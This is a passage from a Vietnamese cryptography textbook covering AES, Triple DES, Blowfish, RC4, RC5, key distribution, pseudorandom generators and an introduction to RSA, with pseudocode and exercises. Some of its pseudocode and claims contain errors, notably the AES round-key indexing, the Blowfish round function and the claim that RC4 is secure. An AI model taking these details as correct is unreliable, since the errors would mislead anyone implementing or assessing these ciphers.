 3 trong 4 trường hợp chỉ là XOR chúng cùng nhau
 Mỗi cái thứ 4 có S box kết hợp quay và XOR với hằng số trước ñó,
trước khi XOR cùng nhau
 Thiết kế chống các tấn công ñã biết
- 71 -

• Giải mã AES
o Giải mã ngược lại không duy nhất vì các bước thực hiện theo thứ tự ngược
lại.
o Nhưng có thể xác ñịnh mã ngược tương ñương với các bước ñã làm ñối
với mã
 Nhưng sử dụng ngược lại với từng bước
 Với khoá con khác nhau
o Thực hiện ñược vì kết quả không thay ñổi khi
 ðổi lại phép thế byte và dịch các hàng
 ðổi lại việc trộn các cột và bổ sung khoá vòng
o Lý do mở rộng khoá: các tiêu chuẩn thiết kế bao gồm
 Giả sử biết một phần khoá, khi ñó không ñủ ñể biết nhiều hơn, tức là
các khoá con khác hoặc khoá nói chung.
 Phép biến ñổi nghịch ñảo ñược.
 Nhanh ñối với nhiều kiểu CPU.
 Sử dụng hằng số vòng ñể làm mất tính ñối xứng
 Khuếch tán bit khoá thành khoá con cho các vòng
 Có ñủ tính phi ñối xứng ñể chống thám mã
 ðơn giản trong việc giải mã
o Các khía cạnh cài ñặt:
 có thể cài ñặt hiệu quả trên CPU 8 bit
- 72 -
- Phép thế byte làm việc trên các byte sử dụng bảng với 256
ñầu vào.
- Dịch hàng là phép dịch byte ñơn giản
- Cộng khoá vòng làm việc trên byte XOR
- Các cột hỗn hợp yêu cầu nhân ma trận trong GF(28) mà làm
việc trên giá trị các byte, có thể ñơn giản bằng cách tra
bảng
 có thể cài ñặt hiệu quả trên CPU 32 bit
- Xác ñịnh lại các bước ñể sử dụng từ 32 bit
- Có thể tính trước 4 bảng với 256 ñầu vào
- Sau ñó mỗi cột trong mỗi vòng có thể tính bằng cách tra 4
bảng và 4 XOR
- Cần 16 Kb ñể lưu các bảng
 Những nhà thiết kế tin tưởng rằng việc cài ñặt rất hiệu quả này là yếu
tố cơ bản trong việc chọn nó là mã AES

Sau ñây ta xét chi tiết hơn các quá trình mã hoá, sinh khoá và giải mã AES.
Xét cụ thể quá trình mã hóa bao gồm 4 bước:
1. AddRoundKey - mỗi byte của khối ñược kết hợp với khóa con, các khóa con này
ñược tạo ra từ quá trình tạo khóa con Rijndael.

Hình 2.5: Mô tả hoạt ñộng bước AddRoundKey

2. SubBytes - ñây là quá trình thay thế (phi tuyến) trong ñó mỗi byte sẽ ñược thay
thế bằng một byte khác theo bảng tra (Tìm trong tài liệu tương ứng).
- 73 -

Hình 2.6: Mô tả hoạt ñộng bước SubBytes

3. ShiftRows - ñổi chỗ, các hàng trong khối ñược dịch vòng.

Hình 2.7: Mô tả hoạt ñộng bước ShiftRows


4. MixColumns - quá trình trộn làm việc theo các cột trong khối theo một chuyển
ñổi tuyến tính.

Hình 2.8: Mô tả hoạt ñộng bước MixColumns

Tại chu trình cuối thì bước MixColumns ñược thay thế bằng bước AddRoundKey.
Thuật toán mã hoá
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là khối dữ liệu rõ
OUTPUT: Y 128 bit -- Khối dữ liệu ñã ñược mã hoá
TIẾN TRÌNH XỬ LÝ:
State:=in;
AddRoundKey(State,w[0,Nb-1]);
for i in 1..Nr-1 loop
SubByte(state);
- 74 -
ShiftRows(state);
MixColums(state);
AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
end loop;
SubByte(state);
ShiftRows(state);
AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
Y:=state;
Thuật toán sinh khoá con sử dụng ba hàm:
SubWord(): Là một hàm ñưa 4 từ ñầu vào qua S-box ñể ñược 4 từ ñầu ra
RotWord(): Biến ñổi một từ [a0a1a2a3] thành một từ [a1a2a3a0]
Rcon(i): Chứa các giá trị [xi-1,{00},{00},{00}] với x={02} và i>=1.
Trường hợp Nk=8 (ñộ dài khoá =256) và i-4 là bội số của Nk thì SubWord() ñược tính
toán với w[i-1] trứơc khi XOR
Thuật toán:
INPUT: Khoá ñầu vào K, Nk
OUTPUT: Mảng khoá con
TIẾN TRÌNH XỬ LÝ:
• Tách khoá K thành Nk khối 4 byte w[i] i=0..Nk-1
i:=Nk;
while (i<Nb*(Nr+1)) loop
temp:=w[i-1];
if (i mod Nk = 0);
temp = SubWord(RotWord(temp)) xor Rcon[i/Nk];
else if (Nk > 6 and i mod Nk = 4);
temp = SubWord(temp);
end if;
w[i] = w[i-Nk] xor temp;
i = i + 1;
end loop;
Thuật toán giải mã sử dụng 4 biến ñổi trong ñó có 1 biến ñổi AddRoundKey và 3 biến
ñổi ñảo ngược.
Biến ñổi InvShiftRows(): tương tự biến ñổi ShiftRows thay vì dịch trái thì trong biến ñổi
này là dịch phải.
Bứơc InvSubBytes(): Phép biến ñổi này tương tự như SubBytes() thay vì dùng S-box thì
sử dụng InvS-box .
- 75 -
Bứơc InvMixColums(): Tương tự như phép MixColums thay vì a XOR với c(x) thì là a-
1
XOR c(x).
Thuật toán giải mã
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là bản mã
OUTPUT: Y 128 bit -- Khối dữ liệu ñã ñược giải mã
TIẾN TRÌNH XỬ LÝ:
state = M
AddRoundKey(state, w[Nr*Nb, (Nr+1)*Nb-1])
for round = Nr-1 step -1 downto 1
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[round*Nb, (round+1)*Nb-1])
InvMixColumns(state)
end for
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[0, Nb-1])
Y = state.

IV.4 Các mã ñối xứng ñương thời

IV.4.1 Triple DES


Mã DES nhiều lần
• Rõ ràng DES cần ñược thay thế, vì
o Các tấn công về mặt lý thuyết có thể bẻ gãy nó
o Tấn công khoá toàn diện ñã ñược trình diễn
• AES là mã mới thay thế
• Trước nó người ta ñã sử dụng lặp DES, tức là sử dụng nhiều lần cùng một thuật toán,
nhưng có thể với khóa khác nhau.
• Triple DES là dạng ñã ñược chọn, ở ñây lặp DES 3 lần.
• Tại sao lại là Triple DES
o Mà không phải là lặp hai lần Double DES: khi lặp hai lần không hoàn toàn là
trùng với 1 lần DES nào ñó nhưng cũng có thể.
o Có thể dùng 2 lần DES trên một block với hai khoá K1 và K2 :
C = EK2(EK1(P))
o Vấn ñề là có thể rút gọn về một bước không.
o Double DES gặp tấn công ở mức trung gian
- 76 -
 Gặp nói chung khi sử dụng một mã nào ñó 2 lần như trên
 Vì X = EK1[P] = DK2[C]
 Tấn công bằng cách mã P với mọi khoá và lưu lại.
 Và giải mã C với các khoá và sánh trùng nhau ñể tìm X.
 Có thể chỉ ra rằng cần O(256) bước dò tìm.
• Triple DES với 2 khoá
o ðể tránh tấn công ở mức trung gian, cần sử dụng 3 mã, vậy nói chung có thể
dùng 3 khoá khác nhau.
o Nhưng ñể ñơn giản hơn có thể sử dụng 2 khoá theo trình tự:E–D-E, tức là mã,
giải mã, rồi lại mã.
 C = EK1[DK2[EK1[P]]]
 Về mặt an toàn mã và giải mã tương ñương nhau
 Nếu K1 = K2 thì tương ñương làm việc với một lần DES
 Chuẩn hoá trong ANSI X9.17 & ISO8732
 Chưa thấy tấn công thực tế.
• Triple DES với 3 khoá
o Mặc dù chưa có tấn công thực tế, nhưng Triple DES với 2 khoá có một số chỉ
ñịnh ñể tránh rơi vào một số trường hợp ñặc biệt.
o Cần phải sử dụng 3 lần DES với 3 khoá ñể tránh ñiều ñó
C = EK3[DK2[EK1[P]]]
o ðược chấp nhận bởi một số ứng dụng trên Internet: PGP, S/MIME

IV.4.2 Blowfish
• Mã ñối xứng ñược thiết kế bởi Shneier khoảng 1993-1994.
• Mã có các ñặc trưng sau:
o Cài ñặt nhanh trên CPU 32 bit
o Dùng ít bộ nhớ.
o Cấu trúc ñơn giản, dễ cài ñặt và phân tích.
o ðộ an toàn thay ñổi theo ñộ dài của khoá
• ðược cài ñặt trên nhiều sản phẩm khác nhau
• Lược ñồ khoá con của Blowfish
o Dùng khoá có ñộ dài bit linh hoạt từ 32 ñến 448.
o Sử dụng khoá ñể sinh
 18 khoá con 32 bit lưu trữ trong mảng K: KJ
 Bốn S box cỡ 8 x 32 lưu trong Si, j
o Lược ñồ khoá gồm
- 77 -
Khởi tạo P mảng và sau ñó là 4 hộp S box
XOR P mảng với bit khoá (sử dụng lại nếu cần)
Lặp lại việc mã dữ liệu sử dụng P & S hiện thời và thay cặp thành
công P sau ñó S.
 ðòi hỏi 512 khoá, nên chậm khi lấy khoá con mới
o Mã Blowfish
 Sử dụng 2 phép cơ bản cộng và XOR
 Dữ liệu ñược chia thành 2 nửa mỗi nửa 32 bit L0 & R0
for i = 1 to 16 do
Ri = Li-1 XOR Pi;
Li = F[Ri] XOR Ri-1;
L17 = R16 XOR P18;
R17 = L16 XOR i17;
trong ñó
F[a,b,c,d] = ((S1,a + S2,b) XOR S3,c) + S4,a
o Bàn luận:
 Khoá con và S box phụ thuộc vào khoá sinh ra, sử dụng vào chính mã
nên việc phân tích rất khó
 Thay ñổi hai nửa sau mỗi vòng làm tăng ñộ an toàn
 Khoá ñược cấp ñủ lớn ñể việc tìm duyệt khoá là không thực tế, ñặc
biệt khi tập trung vào lược ñồ tạo khoá con.

IV.4.3 RC4
RC4 là mã ñăng ký bản quyền của RSADSI, ñược thiết kế bởi Ronald Rivest. RC4 ñơn
giản, nhưng hiệu quả, có nhiều cỡ khoá và là mã bit dòng.
Mã ñược sử dụng rộng rãi (Web SSL/TLS, không dây WEP). Khoá thực hiện hoán vị
ngẫu nhiên cả 8 giá trị bit. Sử dụng hoán vị ñó ñể khuấy thông tin ñầu vào ñược xử lý
từng byte.
Sinh khoá RC4
o Bắt ñầu từ mảng S với biên ñộ: 0..255
o Sử dụng khoá ñể xáo trộn ñều thực sự.
o S tạo trạng thái trong của mã.
Mã RC4
o Mã tiếp tục trộn các giá trị của mảng.
o Tổng của các cặp trộn chọn giá trị khoá dòng từ hoán vị
o XOR S[t] với byte tiếp theo của bản tin ñể mã/giải mã
i=j=0
- 78 -
for each message byte Mi
i = (i + 1) (mod 256)
j = (j + S[i]) (mod 256)
swap(S[i], S[j])
t = (S[i] + S[j]) (mod 256)
Ci = Mi XOR S[t]
Tổng quan RC4

An toàn RC4
o ðảm bảo an toàn chống các tấn công
o Có một số thám mã, nhưng không thực tế
o Kết quả rất phi tuyến
o Vì RC4 là mã dòng nên không ñược sử dụng lại khoá.
o Có liên quan ñến WEP, nhưng tùy thuộc quản lý khoá hơn là bản thân RC4.

IV.4.4 RC5
RC5 cũng là mã ñăng ký bản quyền của RSADSI, ñược thiết kế bởi Ronald Rivest và
ñược sử dụng trong nhiều sản phẩm của RSADSI. RC5 có nhiều cỡ khoá và dữ liệu khác
- 79 -
nhau và ñặc biệt không có vòng lặp. Thiết kế rất ñơn giản và rõ ràng. RC5 ñược cài ñặt
dễ dàng trên nhiều CPU và còn ñược ñánh giá là an toàn.
• Các mã RC5
o RC5 là một họ các mã với bat ham số RC5-w/r/b
 w là kích thước của từ (16/32/64), sô bit data = 2w
 r là số vòng (0..255)
 b là số byte của khoá (0..255)
o Phiên bản chuẩn là RC5-32/12/16
 Tức là 32 bit word, mã khối 64 bit dữ liệu
 Sử dụng 12 vòng
 Với 16 byte (128 bit) khoá
o Mở rộng khoá RC5
 RC5 sử dụng 2r + 2 từ khoá con (w-bit)
 Các khoá con lưu trong mảng R[i], i = 0,1,.., t-1
 Sau ñó lược ñồ sinh khoá gồm
- Khởi tạo S là giá trị giả ngẫu nhiên cố ñịnh, dựa trên hằng sô e
và phi.
- Khoá byte ñược sao vào mảng c-word L
- Phép trộn sẽ kết hợp L và S thành mảng S cuối cùng
• Mã RC5
o Tách ñầu vào thành 2 nửa A và B
L0 = A + S[0];
R0 = B + S[1];
for i = 1 to r do
Li = ((Li-1 XOR Ri-1) <<< Ri-1) + S[2 x i];
Ri = ((Ri-1 XOR Li) <<< Li) + S[2 x i + 1];
o Mỗi vòng giống như 1 vòng 2 DES
o Quay là nguồn phi tuyến chính
o Cần số vòng chấp nhận ñược (12-16)
• Các chế ñộ mã RC5
o RFC2040 xác ñịnh 4 chế ñộ của RC5
 Mã khối RC5, tức là chế ñộ ECB
 RC5-CBC
 RC5-CBC-PAD là chế ñộ với bộ ñệm bằng các byte có giá trị bằng số
byte ñệm.
 RC5-CTS, một kiểu của CBC, cùng kích thước với bản tin gốc.
- 80 -
IV.4.5 Các ñặc trưng của mã khối và mã dòng.

1. Các ñặc trưng mã khối. Các ñặc trưng trong mã khối hiện ñại là
o ðộ dài khoá / kích thước khối / số vòng có thể thay ñổi
o Các phép toán trộn, quay phụ thuộc khoá hoặc dữ liệu.
o S box phụ thuộc khoá
o Tạo khoá con phức tạp hơn
o Phép toán với ñầy ñủ dữ liệu ở mỗi vòng.
o Biến thiên hàm phi tuyến.
2. Các ñặc trưng mã dòng.
o Xử lý mẩu tin lần lượt theo từng bit.
o Thông thường có khoá dòng (giả) ngẫu nhiên.
o Kết hợp XOR với bản rõ theo từng bit
o Ngẫu nhiên với khoá dòng sẽ xoá bỏ hoàn toàn các phân tích thống kê của
mẩu tin
Ci = Mi XOR StreamKeyi
o Rất ñơn giản
o Nhưng khoá không ñược sử dụng lại
3. Các tính chất của mã dòng trong khi thiết kế
a. Sử dụng lâu không bị lặp
b. Ngẫu nhiên thống kê
c. Phụ thuộc khoá ñủ lớn
d. ðộ phức tạp tuyến tính lớn
e. Rối loạn
f. Khuếch tán
g. Sử dụng hàm Boole phi tuyến bậc cao

IV.5 Bảo mật dùng khoá ñối xứng


IV.5.1 Yêu cầu
Mã ñối xứng truyền thống ñược dùng ñể giữ bí mật bản tin
• Xét kịch bản tiêu biểu
o Các máy trạm ở một mạng LAN truy cập vào các máy trạm và máy chủ ở một
mạng LAN khác
o Các mạng ñược kết nối sử dụng chuyển mạch và ñường truyền
(switches/routers)
o Với các ñường truyền vật lý hoặc liên kết vô tuyến/vệ tinh
• Xét việc tấn công và cách ñặt mã trong kịch bản trên
- 81 -
o ðiều tra từ một máy trạm khác
o Sử dụng kết nối ñến mạng hoặc máy chủ ñề tìm kiếm
o Sử dụng kết nối ngoài ñể xâm nhập và ñiều tra
o Theo dõi và/hoặc làm thay ñổi việc truyền kết nối ngoài.
Có hai phương pháp chính xác ñịnh chỗ ñặt mã
• Mã kết nối (Link Encription)
o Mã xảy ra ñộc lập trên mỗi kết nối.
o Suy ra cần phải giải mã truyền tin giữa các kết nối
o ðòi hỏi nhiều thiết bị và các cặp khoá
• Mã ñầu cuối (End to end Encription) AES là mã mới thay thế
o Mã xảy ra giữa ñiểm gốc và ñiểm ñích
o Cần thiết bị tại mỗi ñầu cuối và khoá chia sẻ
IV.5.2 Thám mã thông tin truyền
Khi dùng mã ñầu cuối cần phải ñể thông tin ñầu của nó rõ ràng, vì như vậy mạng mới
ñịnh hướng ñúng ñắn thông tin. Vì vậy tuy nội dung tin ñược bảo vệ, nhưng khuôn dòng
tin truyền thì không. Tốt nhất là muốn bí mật cả hai. Mã ñầu cuối bảo vệ thông tin nội
dung trên cả ñường truyền và cung cấp danh tính. Còn mã kết nối bảo vệ luồng truyền
khỏi việc theo dõi.
• Vị trí mã
Có thể ñặt mã ở nhiều tầng khác nhau trong mô hình Hệ thống truyền thông mở OSI
o Mã kết nối thực hiện ở tầng 1 hoặc 2.
o Mã ñầu cuối có thể thực hiện ở tầng 3, 4, 6, 7
o Dịch chuyển ñến tầng càng cao, càng ít thông tin ñược mã hoá, nhưng càng an
toàn hơn do người sử dụng giữ bí mật ñuợc khoá, tuy nhiên phức tạp hơn với
nhiều ñối tượng và khoá hơn.

• Thám mã thông tin truyền


Thám mã là theo dõi dòng thông tin truyền giữa hai ñối tác:
o ðược dùng cả trong quân sự và thương mại
o Có thể ñược dùng ñể tạo kênh giám sát
o Mã kết nối che lấp chi tiết ñầu tin, nhưng xét trên toàn mạng và ở các ñầu cuối
nó vẫn nhìn thấy ñược
Bộ ñệm truyền có thể che ñược dòng tin, nhưng với phải truyền liên tục với tần suất
truyền hầu như không ñổi theo thời gian.

IV.5.3 Phân phối khoá


- 82 -
Sơ ñồ ñối xứng ñòi hỏi cả hai ñối tác chia sẻ khoá bí mật chung. Vấn ñề ñặt ra là làm sao
phân phối khoá mật này như thế nào. Thông thường các hệ mật thường bị sập vì bị bẻ
khoá trong sơ ñồ phân phối khoá.
ðối với hai ñối tác A và B cho trước có một số cách phân phối khoá khác nhau:
2. A lựa chọn khoá và truyền tay cho B
3. ðối tác thứ ba có thể chọn khoá và phân phối cho A và B
4. A và B trao ñổi trước có thể dùng khoá trước ñể mã khoá mới
5. A và B trao ñổi mật với ñối tác thứ 3 là C, C chuyển tiếp giữa A và B

Kịch bản phân phối khoá

Phân loại khoá


Thông thường khoá phân loại như sau:
• Khoá phiên (section key):
o Khoá tạm thời.
o Dùng ñể mã hoá dữ liệu giữa nhóm người sử dụng.
o Cho một phiên logic và sau ñó bỏ ñi.
• Khoá chính (master key):
o Dùng ñể mã các khoá phiên.
o Chia sẻ giữa người sử dụng và trung tâm phân phối khoá.
Vấn ñề phân phối khoá
- 83 -
ðối với mạng lớn ñòi hỏi phân cấp Trung tâm phân phối khoá KDC, nhưng cần phải tạo
tin cậy cho nhau, giữa người sử dụng với Trung tâm và các Trung tâm với nhau. Thời
gian sống của khoá bộ phận cần ñược hạn chế ñể cho an toàn hơn. Sử dụng phân phối
khoá tự ñộng thay mặt người dùng, nhưng phải có hệ thống tin cậy, các khoá cấp phát
ñược sinh ra càng ngẫu nhiên càng tốt. Cần phải có hệ thống phân phối khoá phân tán và
phân cấp. ðồng thời cần hỗ trợ kiểm soát mục ñích sử dụng khoá.

IV.5.4. Các số ngẫu nhiên


Có nhiều ứng dụng của số ngẫu nhiên trong lý thuyết mã. Chẳng hạn, khoá xác thực dùng
trong các thủ tục xác thực chống trì hoãn hoặc khoá phiên, khoá dòng cho bộ ñệm một
lần. Do ñó cần có cơ chế sinh khoá công khai
Trong nhiều trường hợp ñặc biệt các giá trị này cần phải
o Ngẫu nhiên về mặt thống kê, có phân phối ñều, ñộc lập.
o Không ñoán trước ñược các giá trị tiếp theo nếu dựa vào các giá trị trước ñó.
Sinh số ngẫu nhiên tự nhiên:
Nguồn cung cấp tốt nhất là ngẫu nhiên tự nhiên trong thế giới thực. Thường người ta tìm
một sự kiện gì ñó thường gặp nhưng ngẫu nhiên. Nói chung cần phải bằng cách nào ñó
thực hiện ñược, chẳng hạn: sóng radio, âm radio, nhiệt trong diot,…Bắt ñầu quan sát cái
gì xảy ra trong CPU mới. Ta gặp vấn ñề thiên lệch và phân bố không ñều của các tín
hiệu, do ñó phải ñiều chỉnh:
o Cần phải bù ñắp lại khi tạo mẫu và sử dụng.
o Tốt nhất chỉ sử dụng một số bit ồn nhất trong mỗi mẫu.

Nguồn số ngẫu nhiên ñã ñăng


Có một số ít sưu tầm về số ngẫu nhiên ñã ñăng. Rand Co trong năm 1955 ñã in hơn 1
triệu số ngẫu nhiên. ðược sinh bằng cách sử dụng bánh quay số ñiện tử. ðã ñược sử dụng
trong thiết kế một số mã như Khafre. Trước ñó 1927, Tippet ñã in một bộ sưu tập các số
ngẫu nhiên. Vấn ñề là ở chỗ:
o Số lượng hạn chế các số ngẫu nhiên
o ðã ñược biết và sử dụng trong nhiều ứng dụng

Bộ sinh số giả ngẫu nhiên (PRNG)


Dùng kỹ thuật thuật toán xác ñịnh ñể tạo số ngẫu nhiên. Mặc dù không ngẫu nhiên thật,
nhưng phải nhiều phép thử ñể kiểm tra ñảm bảo “tính ngẫu nhiên”. Các số như vật ñược
biết ñến như những số giả ngẫu nhiên. Có các bộ sinh số giả ngẫu nhiên PRNG.

Bộ sinh ñồng dạng tuyến tính


- 84 -
Mong muốn sinh một dãy số ngẫu nhiên. Lấy ba số a, c, m và một số ñầu tiên của dãy.
Kỹ thuật lặp chung ñược sử dụng là tạo số tiếp theo dựa vào số trước ñó:
Xn+1 = (aXn + c) mod m
Cho trước các số và tham số phù hợp có thể sinh ra dãy số tựa ngẫu nhiên khá dài.
Tiêu chuẩn phù hợp cần có là
o Hàm sinh ra giá trị lấp ñầy chu kỳ
o Dãy sinh ra phải ngẫu nhiên
o Cài ñặt hiệu quả với số học 32 bit
o Lưu ý rằng kẻ thám mã phải khôi phục lại dãy nếu cho trước một số ít các giá
trị

Sử dụng mã khối như bộ sinh số giả ngẫu nhiên


Có thể sử dụng mã khối ñể sinh số giả ngẫu nhiên. Sử dụng chế ñộ ñếm
Xi = EKm[i]
Sử dụng chế ñộ ñầu ra phản hồi
Xi = EKm[Xi-1]
Trong ANSI X9.17 PRNG: sử dụng thời gian, ngày tháng và một số thông tin mồi và mã
3 DES ñể sinh mồi mới và số ngẫu nhiên.

Bộ sinh Blum Blum Shub


Dựa vào thuật toán mã khoá công khai. Sử dụng bit ít quan trọng nhất từ ñẳng thức sau:
xi+1 = xi2 mod n
trong ñó n=p.q, và các số nguyên tố p, q=3 mod 4. Ở ñây ñảm bảo tính chất: không ñoán
trước ñược bit tiếp theo. Tính an toàn dựa trên ñộ khó của bài toán phân tích N ra thừa số.
Không ñoán trước ñược nếu cho chạy truớc một số lần các bít. Tuy nhiên chậm, vì phải
dùng các số rất lớn. ðặc biệt rất chậm cho việc mã hoá, nên chỉ dùng cho việc sinh khoá.

Bài tập
1. Viết hai dãy số sinh bởi các phương trình sau:
Xn+1 = (6Xn ) mod 13
Xn+1 = (7Xn ) mod 13
Chứng tỏ cả hai dãy trên ñều có chu kỳ ñầy ñủ. Dãy nào tỏ ra có vẻ ngẫu nhiên hơn.

2. Hãy viết các dãy số theo phương trình sau :


xi+1 = xi2 mod 21
- 85 -

xi+1 = xi2 mod 33
Có nhận xét gì về tính ngẫu nhiên của chúng.

3. Lập sơ ñồ khối mã hoá DES. Nêu các ñặc trưng của DES.

4. Lập sơ ñồ khối mã hoá AES. Nêu các ñặc trưng của AES.

5. Mô tả sơ ñồ dùng bên thứ ba phân phối khoá mật giữa hai người sử dụng. Nêu các ưu
nhược ñiểm của sơ ñồ ñó.

6. Có thể dùng khoá mật ñể tạo nên chữ ký ñiện tử ñược không, nghĩa là có một dấu
hiệu gì ñó mà chỉ có người gửi thực hiện ñược gắn với nội dung của bản tin. Người
nhận ñọc ñược bản tin và có thể kiểm tra ñể tin tưởng rằng người gửi ñã viết nội dung
bản tin ñó.
7. Mô tả các ñặc trưng mã khối, chuẩn mã DES, chuẩn mã nâng cao AES.
- 86 -
CHƯƠNG 5:
MÃ CÔNG KHAI VÀ QUẢN LÝ KHOÁ
V.1 Mã khoá công khai

Mã khoá riêng
Mã khoá riêng còn ñược gọi là mã khoá ñơn hay mật. Ở ñây chỉ dùng một khoá, dùng
chung cả người nhận và người gửi. Khi khoá này ñược dùng, việc trao ñổi thông tin về
khoá sẽ ñược thỏa thuận trước.
Người ta còn gọi ñây là mã ñối xứng, vì hai ñối tác có vai trò như nhau. Do ñó không bảo
vệ người gửi khỏi việc người nhận giả mạo mẩu tin và tuyên bố là nó ñược gửi bằng
người gửi. Nghĩa là khi hai người dùng mã ñối xứng, thì họ giữ ñược bí mật nội dung trao
ñổi, nhưng bản thân mẩu tin không mang thông tin xác thực ñược người gửi.

V.1.1 Mã khoá công khai


Khoá công khai ra ñời vào ñầu những năm 1970. Có thể nói ñây là bước tiến quan trọng
nhất trong lịch sử 3000 năm mã hoá. Ở ñây người ta sử dụng 2 khoá: một khoá riêng và
một khoá công khai. Hai khoá này khác nhau, không ñối xứng với nhau, do ñó mã khoá
công khai, còn ñược gọi là mã không ñối xứng. Người ta ñã ứng dụng một cách thông
minh các kết quả của lý thuyết số về hàm số.
Khoá công khai ra ñời hỗ trợ thêm ñể giải quyết một số bài toán an toàn, chứ không phải
thay thế khoá riêng. Cả hai khoá cùng tồn tại, phát triển và bổ sung cho nhau.
Khoá công khai/hai khoá/không ñối xừng bao gồm việc sử dụng 2 khoá:
o Khoá công khai, mà mọi người ñều biết, ñược dùng ñể mã hoá mẩu tin và
kiểm chứng chữ ký.
o Khoá riêng, chỉ người nhận biết, ñề giải mã bản tin hoặc ñể tạo chữ ký.
- 87 -
o Là không ñối xứng vì những người mã hoá và kiểm chứng chữ ký không thể
giải mã hoặc tạo chữ ký.

Sơ ñồ mã khoá công khai

V.1.2 Tại sao lại phải dùng mã khoá công khai


Người ta muốn giải quyết hai vấn ñề sau về khoá nảy sinh trong thực tế:
o Phân phối khoá - làm sao có thể phân phối khóa an toàn mà không cần trung
tâm phân phối khoá tin cậy
o Chữ ký ñiện tử - làm sao có thể kiểm chứng ñược rằng mẩu tin gửi ñến
nguyên vẹn từ ñúng người ñứng tên gửi.
Nếu chỉ dùng khoá ñối xứng, thì không có giải pháp cho hai bài toán trên. Mã khoá công
khai ñược phát minh trước công chúng bởi hai nhà bác học Whitfield Diffie & Martin
Hellman ở trường ðại học Stanford vào năm 1976. Tuy nhiên khái niệm ban ñầu về nó ñã
ñược biết ñến sớm hơn bởi cộng ñồng các nhà khoa học.
V.1. 3 Các ñặc trưng của khoá công khai
Các thuật toán khoá công khai dùng 2 khoá với các ñặc trưng sau:
o Không có khả năng tính toán ñể tìm khoá giải mã nếu chỉ biết thuật toán mã
và khoá dùng ñể mã.
o Có thể dễ dàng mã hoá hoặc giải mã mẩu tin nếu biết khoá tương ứng
- 88 -
o Trong một số sơ ñồ: một khoá bất kỳ trong hai khoá có thể dùng ñể mã, còn
khoá kia dùng ñể giải mã. Chúng có vai trò ñối ngược nhau.

V.1.4 Ứng dụng khoá công khai


Có thể phân loại các ứng dụng của khoá công khai thành 3 loại khác nhau:
o Mã/giải mã – cung cấp bảo mật. ðây là ứng dụng bảo mật truyền thống giống
như ta vẫn thường dùng với khoá ñối xứng.
o Chữ ký ñiện tử - cung cấp xác thực. Một trong các ứng dụng mới của khoá
công khai mà khoá ñối xứng không thể thực hiện ñược, ñó là khoá công khai
có ñủ cơ sở ñể xác nhận người gửi và có thể là một lựa chọn ñể tạo chữ ký
ñiện tử của người gửi.
Một số thuật toán mã công khai phù hợp với mọi ứng dụng, còn một số khác chuyên
dùng cho ứng dụng cụ thể.

V.1.5 Tính an toàn của các sơ ñồ khoá công khai


Cũng giống như khoá riêng việc tìm kiếm vét cạn luôn luôn có thể, tức là khi biết một
trong hai khoá và thuật toán mã hoá về nguyên tắc ta có thể dò tìm khoá thứ hai bằng
cách tính toán các giá trị liên quan. Nói chung khối lượng cần tính toán là rất lớn do ñộ
phức tạp của bài toán xác ñịnh khoá. Nếu khoá sử dụng là rất lớn cỡ hơn 512 bit, thì hầu
như bài toán tìm khoá thứ hai là không khả thi, không thể thực hiện ñược trong thời gian
có nghĩa, cho dù nguồn lực có thể rất lớn.
Tính an toàn dựa trên sự khác biệt ñủ lớn giữa các bài toán dễ là mã/giải mã khi biết khoá
và bài toán khó là thám mã khi không biết khoá tương ứng. Vì bài toán thám mã nằm
trong lớp các bài toán khó tổng quát hơn ñã ñược biết ñến và về mặt lý thuyết ñã ñược
chứng minh là nó rất khó có thể thực hiện trên thực tế. Bởi vì nó ñòi hỏi sử dụng số rất
- 89 -
lớn, nên số phép toán cần thực hiện là rất nhiều. ðây là ý tưởng chính ñể tạo nên một mã
công khai. Ta tìm kiếm các bài toán mà nếu biết thông tin mật nào ñó ñược che dấu thì nó
rất dễ thực hiện, còn nếu không thì nó thuộc lớp bài toán rất khó giải, hầu như không thể
giải trên thực tế.
Mã công khai thường chậm hơn khá nhiều so với mã ñối xứng, nên nó thường ñược dùng
mã những thông tin nhỏ quan trọng.

V.2 RSA
RSA là mã công khai ñược sáng tạo bởi Rivest, Shamir & Adleman ở MIT (Trường ðại
học Công nghệ Massachusetts) vào năm 1977. RSA là mã công khai ñược biết ñến nhiều
nhất và sử dụng rộng rãi nhất hiện nay. Nó dựa trên các phép toán lũy thừa trong trường
hữu hạn các số nguyên theo modulo nguyên tố. Cụ thể, mã hoá hay giải mã là các phép
toán luỹ thừa theo modulo số rất lớn. Việc thám mã, tức là tìm khoá riêng khi biết khoá
công khai, dựa trên bài toán khó là phân tích một số rất lớn ñó ra thừa số nguyên tố. Nếu
không có thông tin gì, thì ta phải lần lượt kiểm tra tính chia hết của số ñó cho tất cả các số
nguyên tố nhỏ hơn căn của nó. ðây là việc làm không khả thi.
Người ta chứng minh ñược rằng, phép lũy thừa cần O((log n)3) phép toán, nên có thể
coi lũy thừa là bài toán dễ. Cần chú ý rằng ở ñây ta sử dụng các số rất lớn khoảng 1024
bit, tức là cỡ 10350. Tính an toàn dựa vào ñộ khó của bài toán phân tích ra thừa số các số
lớn. Bài toán phân tích ra thừa số yêu cầu O(e log n log log n) phép toán, ñây là bài
toán khó.

V.2.1 Khởi tạo khoá RSA


• Mỗi người sử dụng tạo một cặp khoá công khai – riêng như sau:
• Chọn ngẫu nhiên 2 số nguyên tố lớn p và q
• Tính số làm modulo của hệ thống: N = p.q
o Ta ñã biết ФN)=(p-1)(q-1)
o Và có thể dùng ðịnh lý Trung Hoa ñể giảm bớt tính toán
• Chọn ngẫu nhiên khoá mã e
o Trong ñó 1<e< ФN), gcd(e,Ф(N))=1
• Giải phương trình sau ñể tìm khoá giải mã d sao cho
o e.d=1 mod Ф(N) với 0≤d≤ Ф(N)
• In khoá mã công khai KU={e,N}
• Giữ khoá riêng bí mật KR={d,p,q}

V.2.2 Sử dụng RSA


- 90 -
• ðể mã hoá mẩu tin, người gủi:
o lấy khoá công khai của người nhận KU={e,N}
o Tính C=Me mod N, trong ñó 0≤M<N
• ðể giải mã hoá bản mã, người sở hữu nhận:
o Sử dụng khóa riêng KR={d,p,q}
o Tính M=Cd mod N
• Lưu ý rằng bản tin M < N, do ñó khi cần chia khối bản rõ.

Cơ sở của RSA
• Theo ðịnh lý Ole
o aФ(n)mod N = 1 trong ñó gcd(a,N)=1
